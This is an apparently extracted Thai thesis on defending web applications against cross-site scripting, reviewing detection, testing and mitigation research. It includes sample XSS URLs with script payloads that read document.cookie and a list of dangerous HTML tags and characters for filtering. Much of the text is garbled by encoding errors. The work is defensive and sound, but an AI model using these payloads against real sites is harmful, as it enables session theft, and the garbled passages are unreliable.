������wrx�"����"����")�t��ก�	�'"�$

�����
��
���
���
�$1�
���
�������z+ก"กs	���f�wrx�"����"����")�t��ก�	������
�����
��
���
����
�"�(�ก���2�
'�'�
��%��
3-��	�
�*����

��"��
���	"2ก
���"�$f�ก����$����#3
f)�ก$��"�(��
���
� "/�� f�
"����"�����'�f/��
$�"���������
���
���/���f�ก������k$���������1��� ก���2�
'��%��ก���u����
*��"	����"�������f/� �#� �u�f)�
���'���+�����)$��
��������z+ก��������"����"�����
��
$�"��������
�
���
���������z"*��z��
�������$1�u���f/�f�ก������k$��� )�t�"ก��*���2�กก���'�"����"������
����*���+$2�ก�'��t�������"/������"��"���5� (RSS Feed) �$������k$��ก��������
��2��	
ก����u�f)������z"ก��ก������k$ก$��"�(��
���
�*��� ก���2�
'��1"0��'�k+��2�
'21"*��f2
ก�1	��ก���u����*��ก������k$*��"����"����������'�$1���wrx�"����"����������
�	
3�ก��
����k$f)�
��	
$3� 2��"�����ก��f)������z��������#3
�'��3�����21z+ก��$�f)�"�(��
���
�
�$1�u����*�������� ��3��$�����"	�
�����
��
���
���"�(�ก���2�
'�		�'�f/�ก���u����*��wrx�
�
$�"����"�
���$�'��1ก�	ก�	ก�1	��ก��f�ก������k$*��wrx�"����"�����'��������v��ก��������'
�u�f)��
���
������z"*'���
���
��'���2ก��f)�"ก�����
���*������ 
�������2�ก [3]  "/�� "�s	��
� 
http://www.vulnerable.site/ welcome.html �'ก���u�������f��+��'� 2.4 

 

 
�+��'� 2.4 �
��ก���u����*��"�s	��
� http://www.vulnerable.site/welcome.html 
 

����'�")s�f��+��'� 2.4 
t���##$�"
/����u�ก��2�	#�����"
�������*�� name �$������
��ก��f)�k+�f/�")s��u�f)�ก���2�
'
�����
��
���
��������z"ก��*������ "/�� ก��f/� http://www. 
vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script> 

"�t��f/�ก������*�*���
�����"*����"	����"����21�u�ก��#��"�/�'"�s���$*��"#2��
�����

��"��
���	"2ก
���"�$���21�'��	"2ก
��'�"�'�ก�����

��"��
������'������1ก�	 
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(property) �'�"�'�ก����+������$ (URL) �u�ก��"กs	�+������$*��"#2����y���*-1�'��u�ก������� 
��

��"��
���	"2ก
���"�$ �$1"�t��#��"���� (parser) *��"	����"�����u������z������*��
�
��2����
���
� 2����
���
�21�u�ก��"�$'�����$�*���+$"�/�'"�s���$*��"#2 �u�f)�"�t����� 
ก������*�*���
��"*����21"ก��ก���u����*��2����
���
��u�ก��"*'��"�/�'"�s���$*�����f)��
"ก��"�(� <script>alert(document.cookie)</script> �u�f)�"	����"����"*��f2���"�(�2����
���
�
�$1�u�ก������
3กก'���ก��f��'��3� ����2�ก�
����2�
'*���
��21�+
$���ก�	�'"�$

�����
� 
�
���
����
�zt����
���ก��"#��1�����zf/� http://www.vulnerable.site/welcome.html#name= 
<script>alert(document.cookie)<script> ���f�ก���2�
'��� ���"�(�ก���2�
'�'�f/� �#� "*��
/����u�f)�
���'���+�����)$�� �#� ����
t� <script>alert(document.cookie)<script> 21���z+ก�����
�u�����'�wrx�"����"���� �
�ก���2�
'�����z"ก��*������"#��12����
���
�"*��z���+������$�$1�u�
ก��"*'��"�/�'"�s���$"#2*�����f)����������*���+������$�'���+�)$�� name= �$12�ก�'�"�(�ก��
"*'��"�/�'"�s���$"#2*�����f)�����f/�����*���+������$�'���+�)$�� name= �������2�������zf/� 
http://www.vulnerable.site/welcome.html?notname=<script>(document.cookie)</script> 
f�ก���2�
'��� ���"	�
�����
��
���
���2��"�(�ก���2�
'�'��
���
��2�
'�����z�u����������
���
���������'�"����"����"�v�)���ก��� 

 ��&'�ก��*ก���2�
'�		���"	�
�����
��
���
�������ก�ก���u��'"
'���
�� (secure 
code) �u�ก��
��2��	ก����'�21�u�ก��"�$'�����$�*���+$"�/�'"�s���$"#t��f)�����f2���k+�f/����
�����z�3��"ก'���ก�	ก���u����*��ก������k$������
�� "/��f��+��'� 2.5 

 

 
�+��'� 2.5 �
��"#���"
��*��"�s	��
� http://www.vulnerable.site/welcome.html 

"#t���v��ก��ก���2�
' 
 

2�ก�+��'� 2.5 21"�(�ก��f/���#2��"�ก+$���/���
��2��	ก���21�u�ก��"�$'�����$�"#2
"#t������k$�u�f)�ก���2�
'���"ก��*��� 
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21")s�������ก���2�
'*��
�����
��
���
����������/�����������z�u�ก���v��ก��������
"��"����$ (SSL) �$1ก���v��ก�����f/�"�/�'�'#'�'"��"�� (HTTP Referrer) �'�"�(�ก���+*���+$f�
"��"���� (header) �����'"��"����$�� (Referrer Field) "#t��f)�����f2���
��2�ก�����z+ก�����2�ก
��"��"�'��ก��21f/�������f�	��ก�-' "/�� z���u����2�ก"�/�'�'#'"�� (HTTPS) �����"�/�'�'#'
��
f��'"��"����$��21z+ก"����ก ����ก���v��ก�����ก��ก�����ก*�1�u�
�,)�t��
��� (string) 2�ก
ก������*��'�"*����21
���"�'����#��ก�����กf�ก��
��2��	 �$1����'ก���2�
'�'�f/�

��������zf�ก����1��$k$�'��
ก
���ก����
���
�"	����"�����u�f)������z)$	)$'กก��
ก��������ก*�1��� �u�f)�ก�������ก���v��ก��ก���2�
'f)�
��	
$3��+��		ก���2�
'"�(�"�t����'�
�3����ก 

2.3 ก	��8 �ก
� 
ก���v��ก��"	t���
�� (Basic Prevention) *��
�����
��
���
�������f),��u�ก��#�2��-�

ก���'�wrx�"����"���� ��������ก�ก���ก��*�
���u��'"
'���
��*��
����##$�"
/���f�ก���1	3f)�/��z��  
��sก��3,�
�$1�����3,�
 �����"/���'�ก$���f� [18] ����ก���u�21*�����+�ก�	
��������zf�ก��
"*'���
��*��k+�#�l���$1"�t���2�ก	����##$�"
/�����������z"*��z������
����� "/��"�(�ก��"��  
�	���'��$� (binary file) ����1�3ก
�f/����
�� �u�f)���&'�'"
'���
����221�u�����3����กf�
���
"�(�2������"g#�1ก�-'�'�"�(����"2s
 (project) f),��')$��ก$3���	������ก���u� 

�'ก��&'�'�����f/�����ก���&'f/�ก���u����*����#"����"���� �����"/�� �1�#/' (Apache) /���
f�ก��
��2��	ก������*��'�"*����������'�ก$���f� [19] �����'
����3����ก�$1��������	������21

��	
$3�ก���2�
'����)�� *�����+�ก�	/���*����##$�"
/����$1ก��
����
 (config) )�t�ก���u�
�#$��' (policy) 

z��������ก���v��ก��f���##$�"
/���	��
��21�u���������ก�
�ก�		����##$�"
/����$��
��221�u�����3����ก�$1k��#$������ "/�� 	������	*��
����'�
���ก��f)�k+�f/������
��"��
�*�����
��� ��ก2�ก�'�"�s	"�
���$�'"�(�"�
���$�'�'��'ก��k��k���*��)$��"�
���$�'�u�f)�f�	��
ก�-'ก��
��2��	2��"�(�"�t����'��u����$u�	�ก ��ก2�ก�'���&'f�ก���v��ก������f),��3��"������'��u�
ก���ก��*)�t����	��3�f�wrx�"����"���� �u�f)�k+�f/����
���"k/�,
���"�'����������'���"$t�ก��ก��ก 

�������กs
�� ����'����������'�����3��"���f�ก��"#���
����$��0��f)��ก�"	����"����f�����
�'�"ก'���*���ก�	
�����
��
���
�����+� ��������f),�"�(�������ก��"�ก"��/�� (Firefox Extension) 
[20] ����ก� 
�����
��
���
����' (XSS-Me) [21], 
�����
��
���
������������ (XSS Warning) 
[22], ���
���
� (noscript) [23]  
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[21] "�(��	$ 
	 �ก���u�)��	ก������	�2�
'����u�ก��)�������'�"�(�"�v�)���2�ก
"#2�'�"	����"�����u������+��������
����
��$1��%���
����2�
'��"�s

��*����

��"��
�*�����
"#t���u�ก��
��2��	)�23����� ���f/�"�
��
�2�
'�'��'��	������f�
�����
��
���
���/'�/'� 
(XSS Cheat Sheet) [24] 	��"�
��
�
�����u����u�ก�����	"�(��
�������	*���f)��ก���"#t��f)�
�����zf/�f�ก�1	��ก��
��2��	��� *-1�'� [23] "�(�ก���u�����'���%���#$��'����
��$1  
�������
� (Untrust) f�ก��
�����f2��3,�
f)��
���
��u�����$1�'ก���u����
��2��	ก��    
����*��'������������������
��ก�	�#$��'�����
�)�t��������
� �3���������ก� [22] �'�"�(�ก��
��2��	  
�+������$	��� (URL bar) ก���21�u�ก������*� 

 ����������ก��"�ก"��/���'����ก$���������'23��'������	+�-���+� [21] �'�"�(��	$ 
	s�ก���+$
�1��กf�ก������	"	t���
�������u�ก�����ก���2�
'�'�"
�'�����"*��������	ก�	wrx�"����"����"#t���+
���ก���2�
'�����z�1����ก$�	���u�������)�t���� ����2�กก���'�"�
��
f�ก��
��2��	*�� 
[21] "�(�ก��#���#���
���
��'������wrx�"����"�����$1�1����ก$�	��กu�)��
��*����

��"��
��u�
f)�*�	"*
*��ก������	�u�����
	$� �$1 [22] "�(�ก��
��2��	�+������$	���ก���21�u�ก��
����*�����u�ก��#�2��-� �<� f�)$���+��		*��ก��"*���)���
�����'ก���2�
'�'������z)$3�
���ก��
��2��	����� "/�� ก���2�
'�		������
�����
��
���
��� �u�)��	 [23] �����'����*��
)����กs
t���&'�'�21
�����f2���21����
�"����"���� (���f)��
���
��u����) )�t���� 

 ����ก��#�2��-�f�ก������
�)�t����"�(��r,)�f),��u�)��	wrx��
$�"����f��r223	�� 
������กk+�f/�#���#��$��
�*����
��'��'ก��"กs	��	������*������ก���v��ก���'�f/� �
�k+�f/�21"#�ก"g�
ก�	
u�"
t��*������ก���v��ก����� �������"�t� �"k/�,ก�	��"/'�$"�s�2� "�'���� �  (social 
engineering) )�t�*��
����1����1��� f�*-1�'�wrx�k+�#�l��2u�"�(�
���f/�/3�ก���2�
'�'���221

��������*���"�����u�ก��
��2��	��$���2�
'"�t��
���ก��
��2��	
����$��0��*��    
"����"�����'��'
��
�����
��
���
��� ����2�กก���'�
�����
��
���
��������z�2�
'���f�)$��
�+��		 ก������	2��
���#������u�f)�
��	
$3��+��		ก���2�
'�'������z"�(������"#t��f)�
"ก��
���k��#$�������'��3�����"�(�"�t����'��u����$u�	�ก 

 �������f������2��*��"��21�u�ก��2���	�������2��"#t��f)�")s�z��"�
��
�'���ก��2��f)�
���
��f2
��ก���2�
'
�����
��
���
���������21"�(���1��/��f�ก��#�l��ก���v��ก��
�����$1�u�
ก�������"
�t����t�"#t��/���")$t�f�ก��
��2��	ก���v��ก���'��'��+�*��"����"�����u�f)����
k+�#�l���������f2�$1��	�+�����'ก���v��ก��
��
�����
��
���
���f�����f��$1����f��'�*��)�� 
�$1������"���������ก��/���")$t�f)�k+�f/������������	*���+$��f/�#�2��-�f�ก������
�f�
"	t���
��  ���ก���u����*��"
�t����t�21�u�ก������	ก���v��ก��f�ก��
��2��	��ก*�1�$1 
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u��u�
�,�'�"ก'���*���ก�	
�����
��
���
���*��"����"�����'������	�����2�ก�)$��
����+�
���y ����
"
�t����t����z+ก#�l��*���"�(�������ก��"�ก"��/�� 

 



 

     

�����  3 
 

�	���'
(����ก��(��2 � 
 

"#t��"�(�ก���v��ก���$1	��"���r,)�2�ก
�����
��
���
�������'�����2��"ก��*�����
��ก��� ����
�$1�����2������'ก���u�"���"�
��
f�ก���v��ก���$1ก��/���")$t�"ก'���ก�	 

�����
��
���
��������)$�ก)$�� ������221ก��f)�"ก��
�����	���������"#��1z�����21"�(����
�'�"���ก���v��ก��
�����
��
���
���")�t��ก���
�����
�$1���21�'
�����f2�'�
���ก��  

�������f������2���'�21�u�ก��2���	�������2���'�����u�ก��%�ก ���ก"�(�)���
���y "#t��f)�
�����z��	���	�������$1"*��f2"�
��
*���
�$1�����2���'��'
��
�����
��
���
������������� 
���ก���	��ก$3��21#�2��-�2�ก�����2���'�"ก'���*���ก�	
�����
��
���
���2�ก������"���$�'�$1  
"��'"�s�f��1)����"�t��#� 0�
��5 2002 2�z��"�t��
3$�
��5 2007 ��������ก� [15], [17], 
[25-27], [29-40] 

3.1 ก	���0��	���'
(�	��
ก6U�������0 �� �1S�&�������+� 
"�(�ก��2���	�������%��$�ก -1ก���u����*��"�
��
*�������2���'�"���������'

23���1��
��������"ก'���ก�	ก���v��ก��
�����
��
���
�������21�u�ก��2���	����ก"�(� 4 ����
����ก� ����1�$�� (ANALYZE), ��"�
�� (DETECT), �����"ก� (MITIGATE), "���� (TEST) 

3.1.1 � ���1�S& 
"�(�"�
��
�'�"ก'���*���ก�	ก��
��)�23���������21�u���f/�#�2��-��ก��*
��"#t�����f)�

�����z"ก��ก���2�
'*������ ���"ก'���ก�	"�
��
ก���v��ก�����
���
�"�(�ก��
��2��	
��##$�"
/������"�'���
��
�����
��
���
���)�t��������+2�ก$�ก -1ก���u����*������
�� 
(source code) *��
����##$�"
/���"#t��f)������z�u����ก��*ก����'�k+��2�
'21�u�ก���2�
' 

3.1.2 /�����& 
"�(�"�
��
f�ก���v��ก��)�t�
��22�	"�t��"ก��ก���2�
'
�����
��
���
���*��� "�(�"�
��


�'��u�*���"#t���v��ก��ก���2�
'���"g#�1�$1�'"�
��
f�ก���v��ก���'�/��"2��u�f)����
��
��##$�"
/���21�'23������
�ก���2�
'21���"ก��k$*��� ����
t��������u�ก���ก��*�'���##$�"
/���
���
�� 

3.1.3 ������ก� 
"�(�"�
��
�'�f/�*���"#t��$��r,)�
���y2�ก
�����
��
���
��� 
��"�
��
������"ก'���*���ก�	

ก���v��ก�����
���
�21�u�f)��'��&'��	�t�ก�	ก���2�
'
�����
��
���
����'��'
����1��ก)�t�



 

 

19

/���")$t�f�ก��	��)��ก���u����*��wrx�"����"�����������"�s	��##$�"
/�������'*��� �������'���+�f�
����*��"�
��
�����"ก���������f),��'"�v�)�����+� 3 �+��		����'� 

1. /������	��3�ก���u����*��"����"����)�t���##$�"
/���f)�"�(���f�����'��'*��� 
2. /���f)�ก��
��2��	�$1ก���+�$�u��������*��� "/�� "�(�ก��/���f)�����f2���  
ก������*�21
�������k���ก�1	��ก��
��2��	 

3. "#���
��������z*��
����$��0��*��"����#'"#t��f)������	
���
���ก�� 
ก���u����*��"�s	��##$�"
/���f��r223	�� 

3.1.4 ����& 
"�(�"�
��
f�ก��
��2��	"�s	��##$�"
/�������'23�����
��
�����
��
���
�����+�)�t���� 

������ก"�(�ก��
��2��	��##$�"
/���f�*-1�'�กu�$���u����"#t������	���"�$�f/����2����$��
��������z"ก��ก���2�
'*�������'ก)�t���� 

3.2 V�ก	���0��	���'
(�	��
ก6U�������0 �� �1S�&�������+� 
2�กก��#�2��-������2���'�"ก'���*���ก�	
�����
��
���
���2�ก������"���$�'�$1"��'"�s�f�

�1)����"�t��#� 0�
��5 2002 2�z��"�t��
3$�
��5 2007 ����ก� [15], [17], [25-27], [29-40] 
���������z2���	���������'� 

3.2.1 � ���1�S& 
Identifying Cross Site Scripting Vulnerabilities in Web Applications 
G. A. D. Lucca �$1
-1 [25] "���"�
��
ก���u�ก��
��2��	�'"��2' (CFG : Control 

Flow Graph) *��
����##$�"
/����'����2�กก����ก�����
������'ก���u����#3
�'���	"*������f/�
������k���ก�1	��ก��ก��
��2��	)�t���� �$1����u�ก���2�
'����	23������'�#	2�กก��

��2��	*������
��"#t��f)�����f2��������'�
��#	����"�(�23�����2��� 

2�กก��
��2��	���� 2 ��&'21/���f)��+�z��23������'�����������v��ก���
�����'ก���2�
'"ก��*���
"�t���2�กก��"/t���
��*��ก���u�������"�t���u����  �
�z��"�$'�����&'ก��"/t���
��ก���2�
'��221
"ก��*������ �����"/�� /���*��
������'����
��"*����"กs	f�m��*���+$"�(�2u����"
s� (integer) ���
21�������'ก���v��ก���
�ก���2�
'21���"ก�� �
�"�t��"�$'���"�(�"กs	
�������
����$��21ก��f)�"ก��
ก���2�
'*������ 

Securing web application code by static analysis and runtime protection 
Y.-W. Huang �$1
-1 [26] "���"�
��
ก���u��
�
�ก����$��� (Static Analysis) ก�	

0� ��'�"�(��
���
������#'"�/#'���ก��f/����¢���"�s� (Type system) "*��/���"#t��$�
���
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k��#$��f�"/��	�ก2�กก����"
��1)�ก�1��*���+$ (Data flow analysis) �$1#�l��*���"�(��+$ 
(tool) �u�ก����ก�����
��"#t��)�23������$1�'ก���u����f�ก��������r�ก�/����v��ก��f��"*����f�
�
������21/����u�ก���v��ก��f�*-1�'���##$�"
/����u���� 

Precise alias analysis for static detection of web application vulnerabilities 
N. Jovanovic �$1
-1 [27] "���"�
��
f�ก����"
��1)������ (alias) �'�"�(��r,)�

�u�
�,f�ก���u��
�
�ก����$���*��0� ��'�"�(��
���
��u�f)������z
��2��	ก�1��*���+$     
(Data Flow) *����##$�"
/�������'*��� �������u�"�
��
��f/�ก�	#�
�'� (Pixy) [28] "
�t����t��'��u�
ก����ก�����
��*��#'"�/#'#	��������z
��#	23�����
��ก���2�
'�����ก*��� 

3.2.2 /�����& 
A Proposal and Implementation of Automatic Detection/Collection System for 

Cross-Site Scripting Vulnerability 
O. Ismail �$1
-1 [29] "���"�
��
f�ก��
��2��	
�����
��
���
������ก��f/�  

#�s�ก�'� (proxy) ���wrx��
$�"������ก2�	ก������*��$1ก��
�	���� (Response) "#t��
��2��	
���"�(�ก���2�
'�		
�����
��
���
���)�t���� ����z��f�ก������*������'��ก*�1#�"% ��+��$��ก��

�	�������
��'��ก*�1������+�21zt����"�(�23�����
��
�����
��
���
����$121�u�ก��     
"��"
�"���
��ก��
�	��������ก����'�21���
��f)��
$�"���� 

�������กs
��ก��f/�#� �ก�'��		�'�����'*��2u�ก��)$������� "/�� "�t���
���"�(�����
��
�$12u����ก������*�"�t���2�กf�	��ก�-'#�s�ก�'�2u�"�(�
�������*� 2 ��	 
������ก"#t���1	3����'
23�����)�t���� 
�����'����"�(�ก���u�"#t��f)�����k$
��k+�f/����z+ก
��� ��ก2�ก�'�"�
��
���ก$������
�v��ก�����"#'���'"�$

�����
��
���
��� 

Anomaly detection of web-based attacks 
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3.2.3 ������ก� 
Protection and communication abstractions for web browsers in MashupOS 
H. J. Wang �$1
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An Automatic Revised Tool for Anti-Malicious Injection 
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Defeating script injection attacks with browser-enforced embedded policies 



 

 

22

T. Jim �$1
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Using web application construction frameworks to protect against code injection 
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Noxes: a client-side solution for mitigating cross-site scripting attacks 
E. Kirda �$1
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Abstracting application-level web security 
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A solution to block Cross Site Scripting Vulnerabilities based on Service Oriented 
Architecture 
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SMask: preventing injection attacks in web applications by approximating 
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�t����t�21����v�����"�(�23����� �$1�������u�ก��#�2��-��
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Identifying Cross Site Scripting Vulnerabilities in Web Applications 
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Security testing with Selenium 
V. Kongsli [40] "���"�
��
ก��f/�#�
�ก���f�����'�k�� (misuse story) �u���f/������

/3�����	f)�ก�	ก���u����*���'$'"�'�� (Selenium) [41] "
�t����t��'��u����
����1��กf�ก��
����	ก���u����*��"�s	��##$�"
/��� "/�� ���/3�����	����)���'������������u�����$��	����ก
k$���
��2��	 ����u�����1�3ก
�f/��u�ก������	
����$��0���
����$1"�'��f�ก��

��2��	���z���
�������	������ก$�����������/��"2� �������กs
���u�)��	
�����
��
���
���
#�
�ก���f�����'�k��
t�
���#�����f�ก������
���
�"*�����$�������z
�	����ก$�	��
�u������� 

3.3 ��%�V�ก	���0��	���'
(�	��
ก6U�������0 �� �1S�&�������+� 
�����2���'�"ก'���*����������ก$����������z2���	����ก���"�(�����+��'� 3.1 �$1�����z��3�
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f��
�$1ก$3�����"�(�
�����'� 3.1 
2�ก�+��'� 3.1 ก���	�������2���'����%�ก �2�ก$�ก -1ก���v��ก���'��'
��
�����
��
���
��� 

#	��������2������f),�
ก��+�f�����*�������"ก�����������"�(�"�
��
�'��3��)����u�f)��r,)� 
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���)���� ����f),�"�(�ก���u����
����1��กf�ก���v��ก��)�t�
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���
���ก��*��ก���u�����'���กก����ก
�f)��ก�k+�#�l�� "/�� กu�)��ก���u����*��"	����"����
"#���"
�� �u�f)�
����$��0��21�')�t����*�����+�ก�	k+��'��u���f/�21f��f2f��r,)���ก����"#'��f� 
*-1�'�2u���������2��f������t������'
����
ก
���ก����ก ����1�$��"�(�"�
��
�'�2u�"�(�
���
"*��z������
���$1ก��f/����ก�	��##$�"
/�����1"0��
���
�����'
���k��#$��)�t�*��2u�ก����+� 
��"�
��"�(�"�
��
�'�)$��2�ก"����f/�����$��21/���f)������z�v��ก��ก���2�
'������
��
��##$�"
/���21�'23������
�f�	����##$�"
/�����221�u�f)�"�
��
�'������1�	
����u�"�s2)�t�
�u�����3����ก �u�)��	"����k$ก��
��2��	*�����+�ก�	�
�������	�'�f/� ���
����'$�ก -1*��
�
����$12u�����+��		�'�"#'��#�
��ก���2�
'�'������z"ก��*������ �u�f)�ก��������
���"#t��
����	f)�
��	
$3�
���		��&'������"�(�"�t����'�$u�	�ก ����#	�������������������f)�
����u�
�,
f�"�t����'� ��� [17] "�(�ก���u�ก���2�
'�'�����f/��2�
'���u�ก������	�$1 [25] �'���1�u�ก��f/�
�
����2�
'�'���	���2�ก�)$��
���y��f/�����	 *-1�'� [40] ������ก$���z�����$1"�'��*��
�
�������	��������/��"2� 

f������2���'�k+���2������u�ก��#�l��"
�t����t��'�/����u�ก������	*���"#t��/���")$t�f�"�t���
�
�������	 ����'ก���u����
��2��	2�ก
���"�'����'�ก���v��ก��*��wrx�"����"�������
��
��3,�
f)�f/����"#���*������u�f)������z����	���
��	
$3���ก*��� �$1����'ก���u����

��2��	$�ก -1ก���v��ก��*��wrx�"����"����f�"�t�����ก*�1�$1ก��"*���)���'�wrx�"����"����
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�v��ก�� ��ก2�ก�'�"
�t����t����z+ก#�l��f)�"*��f2z��
���"�'�������1��ก�u�f)����	$�ก -1   
ก���v��ก��*��wrx�"����"�����'��'
��
�����
��
���
���2��/���f)������z���	��3��ก��*ก���v��ก��
�������*��� 

 

 

�+��'� 3.1 k$ก���	�������2���'����%�ก �2�ก$�ก -1ก���v��ก���'��'
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�����'� 3.1 ��3�"�
��
f��
�$1ก$3��*�������2���'����%�ก � 

�����2�� ก$3�� "�
��
 
����$��0�� *��2u�ก�� 

G. A. D. Lucca 
�$1
-1 [26] 

����1�$��
�$1"���� 


��2��	�'"��2' 
�$1����	�2�
'
23������'�#	 

�
�
�ก����$��� 
�$1����	�2�
'
23������'�#	"#t���+

k$ 


���"*��z������
�� 
�$1k$ก������	*�����+�

ก�	�
�������	 

Y.-W. Huang 
�$1
-1 [27] 

����1�$�� 
f/����¢���"�s� 
"*��/��� 

�
�
�ก����$��� 
���"*��z������
�� 

N. Jovanovic 
�$1
-1 [28] 

����1�$�� ��"
��1)������ �
�
�ก����$��� 
���"*��z������
�� 

TEST 
� S. Kals �$1
-1 [17] 
� G. A. D. Lucca �$1
-1 [26] 
� V. Kongsli [41] 

�	���'
( 

ANALYZE 
� G. A. D. Lucca �$1
-1 [26] 
� Y.-W. Huang �$1
-1 [27] 
� N. Jovanovic �$1
-1 [28] 

DETECT 
� O. Ismail �$1
-1 [30] 
� C. Kruegel �$1 G. Vigna [31] 

 

MITIGATE 
� H. J. Wang �$1
-1 [15] 
� J.-C. Lin �$1 J.-M. Chen [32] 
� T. Jim �$1
-1 [33] 
� B. Livshits �$1 l. Erlingsson 

[34] 
� E. Kirda �$1
-1 [35] 
� D. Scott �$1 R. Sharp [36] 
� J. Shanmugam �$1                     

M. Ponnavaikko [37] 
� G. Hermosillo �$1
-1 [38] 
� J. Shanmugam �$1                     

M. Ponnavaikko [39] 
� M. Johns �$1 C. Beyerlein [40] 
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O. Ismail �$1

-1 [30] 
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C. Kruegel �$1 
G. Vigna [31] 
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H. J. Wang �$1

-1 [15] 
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J.-C. Lin �$1 
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T. Jim �$1
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Erlingsson [34] 
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G. Hermosillo 
�$1
-1 [38] 
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J. Shanmugam 
�$1 M. 

Ponnavaikko 
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ก	�  ก����
c�	���d� ��d  
 

"#t��"�(�ก��	��"���r,)�f�ก������	
����$��0��"ก'���ก�	
�����
��
���
����$1
"#t��"�(�ก��/���f)�*���+$"#���"
���ก�k+�f/�f�ก��
�����f2����
�"�s	��##$�"
/���f�"	t���
�� k+���2��
2��
��
��#�l��"
�t����t�"#t��/���$��r,)�*��
�����
��
���
���*�������'$�ก -1ก���u����
"�(�ก������	 

"
�t����t��'�����u�ก��#�l��*���"�(�"�ก"��/��*��������ก������'23���1��
������1ก��

t�"#t��"�(�������"	t���
��f�ก��f)�*���+$�ก�k+�f/�����u���#�2��-�f�ก������
��$1"#t��
/���")$t�ก������	
����$��0���ก�"�s	��##$�"
/��� ���"
�t����t�21����	���ก������
���
����	���u����
���
��+��		*��ก������	�'�กu�)����� ����
��"
�t����t�21����'���"����f�
ก����ก�"#2 �
���%��ก���u����*��k+�f/�f�ก��
��)�����������%��*���+$2�ก"#2�'�k+�f/�"���
�$1"�(�ก������	2�ก��$���'�f/���	���#3
*�����������"�(������'���##$�"
/���
���f2f)�f/�"������� 

4.1 �e����ก	���	�	�� ����d� ��d  
"#t��"�(��u����
����1��กf�ก��f/���� "
�t����t�2��z+ก#�l��"�(�"�ก"��/��*��    

������ก�����"
�t����t�21�u����"กs	*���+$2�ก������'�k+�f/����"���#	�$1�u�ก������	ก��
�v��ก���������
�������	���u����
���
��+��		�'�"$t�ก����������
����
� �����'�ก���u������+�f�
$�ก -1*��"	t���)$�� (background) �$1�'�+��		ก���u���� 4 �+��		  

1. �+��		ก��
��2��	#t��m�� "�(�ก������	"g#�1������'��'"�&�� (method) "�(� 
"กs�"������� ����ก���u����f��+��		�'�"�(�ก��
��2��	�'$'"��
�)$�ก�'������zก��f)�"ก��ก���2�
'
���
���'�����f/� ����ก� <script> <iframe> "�(�
�� 

2. �+��		ก��
��2��	��sก �u�ก��
��2��	�'$'"��
� ������	��
��$1
u��u�
�,
���y�'�
�����zก��f)�"ก��ก���2�
'
�����
��
���
������ ����u�ก����	���2�ก"�s	"ก'���ก�	ก���2�
'
�$1
����$��0��)$��y�)$�� [42-48] ��������	��ก$3��"�(��'$'"��
��'�#�2��-� �'$'"��
��'�
#�2��-�"#���"
�� ������	��
��'�#�2��-��$1
u��u�
�, 

3. �+��		ก��
��2��	��ก*�1�$1ก��"*���)�� �u�ก��
��2��	ก���v��ก����ก*�1*��
wrx�"����"���� "/�� > < ' " \ / & # �$1
��2��	ก���2�
'f��+��		"*���)��
��ก��"*���)���'�
#�2��-���������ก� "�/�'"�s���$"�ก�� (Hex : Hexadecimal) �'��'"����
$�� (semicolons) �$1
"�/�'"�s���$�		"�����$ 
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4. �+��		ก��
��2��	���ก���2�
'2��� "�(�ก��
��2��	���f/��
����2�
'�'����
��	�����2�ก [24] ����"�(���&'�'�����f/�f�ก��
��2��	
�����
��
���
��� 

��")
3�'�"
�t����t��'ก���u����)$���+��		"#��1f�ก���2�
'2����'ก��f/���1��/��2�ก
ก���'������z�u�ก���2�
'f)�)$	ก����ก2�	���)$����&' �������ก������	���f/��
�ก���2�
'�'��'
��+�21�����zf)�*���+$�
�ก���2�
'�'�������u�������)�t������� f�*-1�'�"
�t����t�*��"��21�u�ก��

��2��	2�กก���v��ก���'��'*��wrx�"����"���� �u�f)����*���+$ก���v��ก��
���r,)�
�����
� 
�
���
����'��'��+���ก�� 

�+��		�'�)����)�t��+��		
��2��	#t��m��"�(�ก������	f��		"	t���
������"�(�
#t��m���'��3ก"����"����
��21�u�ก���v��ก���$1"�(��������'�21f)�*���+$f�ก������
�ก�	k+�f/�f�
"	t���
�� �����+��		�'����)�t��+��		ก��
��2��	��sก���� f�"����"�����'�
u����z��
���
�$��0��"ก'���ก�	
�����
��
���
���2��21#�2��-��v��ก�� f�*-1�'��+��		�'����)�t��+��		 
ก��
��2��	��ก*�1�$1ก��"*���)��"�(�ก��
��2��	ก���v��ก��"#t��f)�*���+$"#���"
��"ก'���ก�	
"�t���ก���v��ก����ก*�1���
����$1ก��
��2��	ก��"*���)�� �$1�3������+��		�'��'�)�t��+��		
ก��
��2��	���ก���2�
'2��� "�(�ก������	���f/�/3�ก���2�
'�'��'��+��2�
'"#t��f)����f2���ก��
�v��ก��*��wrx�"����"�������%2�ก
��
���"�'���2�ก�
����2�
'�'��'$�ก -1k����$ก�$1"�(��'�
����f�ก���2�
' 

2�กก���'���##$�"
/�������f),�21���
���f)�*���+$f�����ก���v��ก��ก�	k+�f/� �u�f)�ก��

��2��	�������	ก��ก���u����*��"����"����"�(�"�t����'��u����$u�	�ก �������ก���u����*��
"
�t����t�f��+��		�'���� ����$1�'��'�"�(�ก���u����ก�	"�&���#�
�2��")��1���'�21f)�k+�#�l��
"�s	��##$�"
/���f/�f�ก��
��2��	"#��1�����-ก������	�'��ก�$121�u�f)�"ก��ก���	ก��
ก���u����*����##$�"
/������ ����ก���u����f��+��		�'�)����)�t��+��		ก��
��2��	#t��m�� 
�����zf)�k+�f/�f/�������"#��121�u�ก��
��2��	"�t�������*����##$�"
/����'�k+�f/�"���#	"�(�
ก��f/�"�&��"กs�"��������$1�'�����-ก��
��2��	�'�����2������'k$ก�1�	
����##$�"
/���   
��ก��ก 

4.2 .%/ก	��/� �� ����d� ��d  
f�"	t���
��/3�ก������	21��1ก�	������ก*�1�u�
�, 
u��u�
�,�'������f2�'���2

ก��f)�"ก��
�����
��
���
���������z��ก��"*���)��*��
u��u�
�,f��+��		
���y �$1�3�����21"�(�
/3�ก���2�
'
�����
��
���
����'�z+ก"กs	��	��������� [24] ����
u��u�
�, ������	��
��$1�'$'"��
�
�'��u���f/�����21�u�ก����	���2�ก"�s	"ก'���ก�	ก���2�
'�$1
����$��0��)$���)$�� [42-48] 
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1. �'$'"��
��'�#�2��-� ����ก� applet, base, bgsound, blink, body, embed, frame, 
frameset, iframe, ilayer, input, layer, link, meta, object, script, style, title, xml ����")$���'�"�(�
�'$'"��
��'�zt�������
���$���f)�k+�f/������*�����"�� "#��121ก��f)�"ก���r,)������ก 

2. �'$'"��
��'�#�2��-�"#���"
�� ����ก� a, img, table ����"�(��'$'"��
��'�����f),�21��3,�

f)�f/�"#t��f)���##$�"
/����u������� �
�z��f/�����ก�	������	��
�	��
���$1
u��u�
